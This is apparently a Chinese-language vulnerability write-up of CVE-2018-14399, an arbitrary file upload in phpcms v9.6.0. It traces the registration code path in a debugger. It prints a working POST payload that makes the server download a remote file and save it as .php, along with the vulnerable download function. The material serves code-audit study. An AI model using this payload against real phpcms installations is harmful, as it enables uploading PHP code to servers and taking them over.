# CVE-2018-14399 (phpcms v9.6.0任意文件上傳漏洞) ###### tags: `CVE` `phpcms` 我這邊給出了一篇好文:(由於我太懶了) https://cloud.tencent.com/developer/article/1802267 如果閱讀完後,在看我下面的分析出的其他重點會更清楚 創建一個 http://localhost/hack.txt ``` <?php phpinfo();?> ``` payload正常格式: ``` siteid=1&modelid=11&username=Tao123&password=7123456&email=Ta11o@qq.com&info[content]=<img src=http://localhost/hack.txt?.php#.jpg>&dosubmit=1&protocol= ``` 注意因為 這次的payload 是在註冊階段,所以payload 每次都需要不同的個人資料 正常post包 ``` siteid=1& modelid=10& username=333333& password=333333& pwdconfirm=333333& email=333333%40gmail.com& nickname=3333& info[birthday]=2023-02-02& dosubmit=同意注册协议,提交注册& protocol= ``` payload: ``` siteid=1& modelid=11& username=Tao& password=123456& email=Tao@qq.com& info[content]=<img src=http://localhost/hack.txt?.php#.jpg>& dosubmit=1& protocol= ``` 不同之處 ``` modelid=10 modelid=11 info[birthday]=2023-02-02& info[content]=<img src=http://localhost/hack.txt?.php#.jpg>& // 這邊無所謂 dosubmit=同意注册协议,提交注册 dosubmit=1 ``` 所以重點在於 modelid 和 info[] 先找到註冊的函數 phpcms/modules/member/index.php 搜尋 register(),並斷點 130 133 134 135 行 這邊全部都很重要,建議可以慢慢跟進摸索, ```php= //附表信息验证 通过模型获取会员信息 if($member_setting['choosemodel']) { require_once CACHE_MODEL_PATH.'member_input.class.php'; require_once CACHE_MODEL_PATH.'member_update.class.php'; $member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']); $user_model_info = $member_input->get($_POST['info']); } ``` 會跟到 caches/caches_model/caches_data/member_input.class.php 這個文件可以瀏覽一下關鍵都在這。 47行斷點 ```php= $func = $this->fields[$field]['formtype']; ``` 正常數據 $func 會獲取到 同文件下的函數datetime ```php= function datetime($field, $value) { $setting = string2array($this->fields[$field]['setting']); if($setting['fieldtype']=='int') { $value = strtotime($value); } return $value; } ``` 漏動作者竄改了 modelid=11 $func 會獲取到 同文件下的函數editor ```php= function editor($field, $value) { $setting = string2array($this->fields[$field]['setting']); $enablesaveimage = $setting['enablesaveimage']; $site_setting = string2array($this->site_config['setting']); $watermark_enable = intval($site_setting['watermark_enable']); $value = $this->attachment->download('content', $value,$watermark_enable); return $value; } ``` 要想知道 modelid 10 跟 11 得差別。 就必須斷點多跟幾次 phpcms/modules/member/index.php register函數 的130行 ``` if($member_setting['choosemodel']) { require_once CACHE_MODEL_PATH.'member_input.class.php'; require_once CACHE_MODEL_PATH.'member_update.class.php'; //這裡創建member_input過程 很重要 $member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']); $user_model_info = $member_input->get($_POST['info']); } ``` 跟蹤會走到這 caches/caches_model/caches_data/member_input.class.php 參數 modelid=10 ``` function __construct($modelid) { $this->db = pc_base::load_model('sitemodel_field_model'); $this->db_pre = $this->db->db_tablepre; $this->modelid = $modelid; $this->fields = getcache('model_field_'.$modelid,'model'); //初始化附件类 pc_base::load_sys_class('attachment','',0); $this->siteid = param::get_cookie('siteid'); $this->attachment = new attachment('content','0',$this->siteid); } ``` 初始化 this 的屬性 db table = v9_model_field ![](https://i.imgur.com/QYFTY4y.png) 也就是說他可能進sql 要拿資料,或是放資料 執行完後 fileds 是一個 array 其中一個元素 birthday 也是一個array ``` Array ( [birthday] => Array ( [fieldid] => 83 [modelid] => 10 [siteid] => 1 [field] => birthday [name] => 生日 [tips] => [css] => [minlength] => 0 [maxlength] => 0 [pattern] => [errortips] => 生日格式错误 [formtype] => datetime [setting] => array ( 'fieldtype' => 'date', 'format' => 'Y-m-d', 'defaulttype' => '0', ) [formattribute] => [unsetgroupids] => [unsetroleids] => [iscore] => 0 [issystem] => 0 [isunique] => 0 [isbase] => 0 [issearch] => 0 [isadd] => 1 [isfulltext] => 1 [isposition] => 0 [listorder] => 0 [disabled] => 0 [isomnipotent] => 0 [fieldtype] => date [format] => Y-m-d [defaulttype] => 0 ) ) ``` 這個 array 跟上圖 v9_model_field 一模一樣。 所以進 sql 是拿資料 所以目前為止我們知道 $func 為啥是 datatype()了 ```php= $func = $this->fields[$field]['formtype']; ``` 之後f8慢慢跟完就會插入數據庫 1.插入一些東西 ![](https://i.imgur.com/ImYSJXq.png) db table_name = v9_member 2.插入一些東西 ![](https://i.imgur.com/G9TnLuQ.png) db table_name = v9_member_detail 然後正常走完跳出成功訊息。 完成註冊 <br/> <br/> 用POC 分析作者思路 他應該是找到了修改頭像的地方,雖然抓取圖片需要flash 插件(已經太老了),沒開啟,不過他應該是可以本地上傳,跟遠程抓圖片功能。 遠程抓圖片,肯定會下載到伺服器上,所以就尋找到了 editor 修改頭像的模組, ```php= function editor($field, $value) { $setting = string2array($this->fields[$field]['setting']); $enablesaveimage = $setting['enablesaveimage']; $site_setting = string2array($this->site_config['setting']); $watermark_enable = intval($site_setting['watermark_enable']); $value = $this->attachment->download('content', $value,$watermark_enable); return $value; } ``` 裡面有個 download圖片的 function 最後回傳 download file 路徑。 ```php= function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename); $newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value); } ``` 思考一下既然這個函數可以利用,為啥作者不使用登入後狀態的修改圖像觸發,而是註冊時,竄改直接更換圖像 原因 正常註冊最後寫入的表是生日 v9_member_detail 欄位為 userid 跟 birthday 竄改後,寫入欄位 userid,content content 就是那個下載文件的完整路徑 v9_member_detail 根本沒有 content 所以sql 語句會報錯。因此一舉兩得 如果不用註冊而是用登入後竄改資料,可能只能用暴力破解找到檔名 --- 如果你繼續跟蹤下去download 函數,最後會看到 $upload_func 最後會是一個copy函數 你也可以不用去理解他,只要知道他從遠程下載了一個文件。 ``` $upload_func = $this->upload_func; ``` 其實漏洞作者很巧妙,下載外網圖片也無所謂,只要沒開啟文件包含,也沒利用點,重點是,他讓download 本應該下載圖片的函數,繞過層層過濾,最終可以下載非圖片的檔案,這才是厲害的地方。 例如 ``` http://localhost/hack.txt?.php ``` 1 .訪問後,不會被解釋為php檔,而是 txt檔。 2 . ?.php作為get參數 所以server 拿得到 txt 的內容, 3 . 但程式最後又把他變成.php 儲存 ### 後記: 此次的文章,完全不知道要怎麼開頭,所以才附上其他大神的文章,有很多都是要實際操作,才能明白的,如果有不清楚地方請多多指教。 代碼審計小技巧: 1.找出 poc 與 正常資料流的差異 2.思考一下這個資料會大概去哪 3.只要用到 sql ,就可以關注特定的table 4.函數理解 -> 先看初始化 -> 在看return ->抓出大概在幹嘛 5.多跟幾次,熟悉一下關鍵點。